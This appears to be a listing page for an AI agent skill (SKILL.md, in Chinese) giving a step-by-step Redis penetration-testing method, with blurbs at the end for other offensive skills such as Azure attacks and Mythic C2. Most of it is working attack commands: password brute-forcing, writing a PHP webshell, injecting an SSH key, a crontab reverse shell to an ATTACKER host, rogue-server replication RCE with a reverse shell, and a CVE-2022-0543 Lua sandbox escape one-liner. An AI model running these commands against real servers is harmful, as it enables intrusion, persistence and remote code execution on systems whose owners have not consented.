skills/exploit/network-service/redis-pentesting/SKILL.md
Redis 服务(6379 端口)渗透测试方法论。涵盖 Redis 服务发现、未授权访问、信息提取、写入 webshell、SSH 密钥写入、主从复制 RCE、Lua 沙箱逃逸。 当 Agent 扫描发现 6379 端口开放、需要测试 Redis 未授权访问、写入文件到目标、或利用 Redis 获取 RCE 时,触发此 Skill。
npx skillsauth add wgpsec/AboutSecurity redis-pentestingInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
发现 6379 端口开放
├─ Phase 1: 服务发现
│ ├─ Nmap 脚本扫描 -> 版本信息
│ ├─ 手动连接测试 (nc / redis-cli)
│ └─ 是否需要认证?
│ ├─ 无认证 -> 直接进入 Phase 3
│ └─ 需认证 -> Phase 2
├─ Phase 2: 认证与爆破
│ ├─ 默认密码尝试
│ ├─ 爆破 (hydra / nmap / medusa)
│ └─ AUTH <username> <password>
├─ Phase 3: 信息提取
│ ├─ INFO -> 系统信息、版本、内存、keyspace
│ ├─ CONFIG GET * -> 配置信息 (目录、文件名)
│ ├─ CLIENT LIST -> 连接客户端
│ └─ 数据库遍历 -> SELECT / KEYS * / GET
├─ Phase 4: 文件写入利用
│ ├─ Webshell 写入 (需知 Web 根目录)
│ ├─ SSH authorized_keys 写入
│ ├─ Crontab 写入
│ └─ 模板引擎覆盖
├─ Phase 5: 主从复制 RCE
│ ├─ redis-rogue-server -> 自动化 RCE
│ └─ 手动 SLAVEOF + MODULE LOAD
├─ Phase 6: Lua 沙箱逃逸
│ ├─ CVE-2022-0543 (Debian/Ubuntu lua 库逃逸)
│ ├─ CVE-2025-49844 (parser UAF)
│ ├─ CVE-2025-46817 (unpack 整数溢出)
│ └─ CVE-2025-46818 (元表跨用户代码执行)
└─ SSRF 场景
└─ 通过 SSRF 与 Redis 通信 (CRLF 注入)
# Nmap Redis 信息脚本
nmap --script redis-info -sV -p 6379 <IP>
# Metasploit
msf> use auxiliary/scanner/redis/redis_server
# nc 直接连接
nc -vn <IP> 6379
# redis-cli 连接
redis-cli -h <IP>
# 第一个命令: INFO
# 如果返回 -NOAUTH Authentication required. 则需要认证
Redis 默认无认证。可配置仅密码 (requirepass) 或用户名+密码 (masteruser)。
# 认证命令
AUTH <password>
AUTH <username> <password>
# 成功返回 +OK
认证测试
├─ 直接连接 -> INFO
│ ├─ 返回信息 -> 无需认证 -> Phase 3
│ └─ 返回 -NOAUTH -> 需要认证
├─ 爆破
│ ├─ hydra -P passwords.txt redis://<IP>
│ ├─ nmap --script redis-brute -p 6379 <IP>
│ └─ medusa -h <IP> -P passwords.txt -M redis
└─ 认证成功
└─ 进入 Phase 3
INFO # 系统、版本、内存、keyspace 信息
CLIENT LIST # 当前连接的客户端
CONFIG GET * # 获取所有配置
CONFIG GET dir # 当前工作目录 (文件写入关键)
CONFIG GET dbfilename # 数据库文件名
INFO keyspace # 查看哪些数据库有数据
SELECT <db_number> # 切换数据库 (从 0 开始)
KEYS * # 列出所有键
GET <key> # 获取字符串值
TYPE <key> # 获取键类型
LRANGE <key> 0 -1 # 列表类型
HGETALL <key> # 哈希类型
DUMP <key> # 序列化导出
MONITOR # 实时监控所有命令 (可捕获凭据)
SLOWLOG GET 25 # 最慢的 25 条查询
CONFIG GET dir 获取当前目录
├─ 有 Web 服务
│ └─ Webshell 写入
│ ├─ CONFIG SET dir /usr/share/nginx/html
│ ├─ CONFIG SET dbfilename redis.php
│ ├─ SET test "<?php phpinfo(); ?>"
│ └─ SAVE
├─ 有 SSH 服务
│ └─ SSH 密钥写入
│ ├─ 生成 SSH 密钥对: ssh-keygen -t rsa
│ ├─ 写入公钥: SET ssh_key "\n\n<公钥内容>\n\n"
│ ├─ CONFIG SET dir /var/lib/redis/.ssh (或 /home/<user>/.ssh)
│ ├─ CONFIG SET dbfilename authorized_keys
│ └─ SAVE
├─ Linux 系统
│ └─ Crontab 写入
│ ├─ SET cron "\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'\n"
│ ├─ CONFIG SET dir /var/spool/cron/crontabs/ (Ubuntu)
│ │ 或 CONFIG SET dir /var/spool/cron/ (CentOS)
│ ├─ CONFIG SET dbfilename root
│ └─ SAVE
└─ 模板引擎环境
└─ 覆盖模板文件 -> 注入模板表达式 -> RCE
redis-cli -h <IP>
> CONFIG SET dir /usr/share/nginx/html
> CONFIG SET dbfilename redis.php
> SET test "<?php phpinfo(); ?>"
> SAVE
# 1. 生成密钥
ssh-keygen -t rsa -f /tmp/redis_rsa
# 2. 导入公钥到 Redis
(echo -e "\n\n"; cat /tmp/redis_rsa.pub; echo -e "\n\n") > /tmp/spaced_key.txt
cat /tmp/spaced_key.txt | redis-cli -h <IP> -x set ssh_key
# 3. 写入 authorized_keys
redis-cli -h <IP>
> CONFIG SET dir /var/lib/redis/.ssh
> CONFIG SET dbfilename authorized_keys
> SAVE
# 4. SSH 登录
ssh -i /tmp/redis_rsa redis@<IP>
将目标 Redis 设为攻击者控制的 master 的 slave,通过复制推送恶意 .so 模块,然后加载执行。
# redis-rogue-server — 自动获取 shell (Redis <= 5.0.5)
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ATTACKER_IP>
# 1. 编译恶意模块
# https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
# 2. 让目标成为 slave
redis-cli -h <TARGET>
> SLAVEOF <ATTACKER_IP> 6379
# 3. 在攻击者 Redis 上设置模块数据
# 4. 加载模块
> MODULE LOAD /path/to/module.so
> system.exec "id"
> system.rev <ATTACKER_IP> 9999
# 5. 清理
> MODULE UNLOAD mymodule
> SLAVEOF NO ONE
Redis 版本已知 + 可执行 EVAL
├─ Debian/Ubuntu + Redis < 6.2.x 修补前
│ └─ CVE-2022-0543 — package.loadlib 逃逸
├─ Redis < 8.2.2 / 8.0.4 / 7.4.6 / 7.2.11 / 6.2.20
│ ├─ CVE-2025-49844 — Lua parser UAF (GC 竞态)
│ ├─ CVE-2025-46817 — unpack 整数溢出 (DoS/内存耗尽)
│ └─ CVE-2025-46818 — 元表污染 (跨用户代码执行)
└─ 其他版本
└─ searchsploit redis lua
# Debian/Ubuntu 特定: lua 库未正确沙箱化
redis-cli -h <IP> EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
当发现 SSRF 漏洞且目标内网有 Redis 时,可通过 SSRF 发送 Redis 命令:
SSRF + Redis
├─ Redis 为明文协议 -> 可通过 HTTP 请求注入命令
├─ 利用 CRLF 注入构造 Redis 命令
└─ 典型场景: Gitlab SSRF + CRLF -> Redis queue -> RCE
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能